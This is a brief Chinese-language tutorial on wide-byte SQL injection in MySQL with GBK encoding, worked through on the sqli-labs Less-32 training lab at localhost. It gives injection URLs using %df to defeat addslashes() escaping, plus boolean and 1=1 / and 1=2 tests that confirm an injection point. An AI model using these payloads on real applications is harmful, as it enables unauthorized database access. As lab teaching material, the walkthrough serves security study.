宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
在sql注入时,addslashes()函数会把你输入的sql语句中的单引号(’),双引号(")等特殊字符转义掉,使之变成字符串,这个时候就需要用到宽字节注入。
以sql labs32为例
1.在sql labs32中输入http://localhost/sqli-labs-master/Less-32/?id=1' -- -,可看到单引号自动转义了
2.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-32/?id=1%df' -- -
回车可看到
此时输入框变为http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20--%20-
3.在输入框继续写:http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20 and 1=2--%20-
回车发现页面发生变化,显示下图
4.在输入框写http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20 and 1=1--%20-
回车显示与上一步结果不同,说明该处为注入点